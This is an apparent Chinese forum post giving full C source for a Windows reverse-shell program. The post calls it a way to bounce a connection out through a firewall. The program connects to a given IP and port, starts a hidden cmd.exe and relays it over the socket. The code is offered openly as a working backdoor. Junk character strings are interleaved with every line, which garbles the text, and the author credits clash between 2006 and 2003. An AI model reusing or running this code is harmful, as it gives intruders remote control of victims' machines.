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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !w{(}n2Wq  
pg/SYEvsV  
/* ============================== O=\`q6l  
Rebound port in Windows NT VL/KC-6  
By wind,2006/7 Xr]<v%,C  
===============================*/ v 0D@`C  
#include 0'O6-1Li  
#include U@"f(YL+"  
r(p@{L185  
#pragma comment(lib,"wsock32.lib") I0v4TjHH  
UY/qI%#L#,  
void OutputShell(); _&K>fy3t&  
SOCKET sClient; !H4C5wDu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !f)^z9QX8  
wG",Obja  
void main(int argc,char **argv) ;C~:C^Q\H  
{ MOIMW+n  
WSADATA stWsaData; _)-y&  
int nRet; 3?uah' D5  
SOCKADDR_IN stSaiClient,stSaiServer; O%m>4OdH  
3\H0Nkubts  
if(argc != 3) OHK]=DH:M  
{ Ry"N_Fb  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6&[rA TU+  
return; 7Lx =VX#]q  
} lzK,VZ=mM  
C>Cb  
WSAStartup(MAKEWORD(2,2),&stWsaData); %d2\4{{S  
3$h yV{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3R`eddenF  
y/OPN<=*  
stSaiClient.sin_family = AF_INET; }= (|3 \v  
stSaiClient.sin_port = htons(0); d/l>~%bR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /YD2F  
#GIjU1-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )|IMhB+4  
{ Tu7sA.73k  
printf("Bind Socket Failed!\n"); *7^w}v+.  
return; p[:E$#W~;  
} {/q4W; D  
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stSaiServer.sin_family = AF_INET; mE"},ksg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |\J! x|xy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xv~E wT)  
0` UrB:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DW0UcLO  
{ DRmN+2I  
printf("Connect Error!"); 1LonYAHF  
return; iU"{8K,  
} %-#rzeaW  
OutputShell(); f]DO2 r  
} $uCY\ xqZ  
ZGC*BP/  
void OutputShell() F.@U X{J  
{ f~v@;/HL  
char szBuff[1024]; nW!pOTJq21  
SECURITY_ATTRIBUTES stSecurityAttributes; &ngG_y8}&  
OSVERSIONINFO stOsversionInfo; (VB-5&b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NG\^>.8  
STARTUPINFO stStartupInfo; ">!<OB  
char *szShell; o 76QQ+hP  
PROCESS_INFORMATION stProcessInformation; OE5JA8/H  
unsigned long lBytesRead; [hXnw'Im/  
)=6o  ,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #({ 9M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +w9X$<?_  
stSecurityAttributes.lpSecurityDescriptor = 0; %tT=q^%5  
stSecurityAttributes.bInheritHandle = TRUE; mFW/xZwR,5  
CINC1Ll_24  
6/l{e)rX2o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w6@8cNXK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n}toUqUnk\  
,,CheRO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &b!|Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B| .8+Q  
stStartupInfo.wShowWindow = SW_HIDE; =`KV),\  
stStartupInfo.hStdInput = hReadPipe; G_)(?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $\vTiS'  
^eY% T5K   
GetVersionEx(&stOsversionInfo); UQ.DKUg  
:Kx6|83  
switch(stOsversionInfo.dwPlatformId) y3Lq"?h  
{  ];hK5  
case 1: [zc8f  
szShell = "command.com"; V jZx{1kCR  
break; 8bW,.to(?x  
default: 9 t o2V  
szShell = "cmd.exe"; }4wIfI83K,  
break; :Mzkm^7B  
} bYB:Fe=2  
~-K<gT/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /4bHN:I]M  
z<z\)  
send(sClient,szMsg,77,0); kbKGGn4u  
while(1) X}R Q&k  
{ 8w L%(p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8 rA'd  
if(lBytesRead) {aVL3QU  
{ k!= jO#)Rd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5#hsy;q;[  
send(sClient,szBuff,lBytesRead,0); iqTGh*k  
} Z!SFJ{  
else ,n\'dMNii  
{ y-=YXqj  
lBytesRead=recv(sClient,szBuff,1024,0); #F25,:hY  
if(lBytesRead<=0) break; y)#=8oci  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aW@J]slg  
} C .{`-RO  
} $R_RKyXzo  
s7G!4en  
return; 5.X`[/]<r  
}
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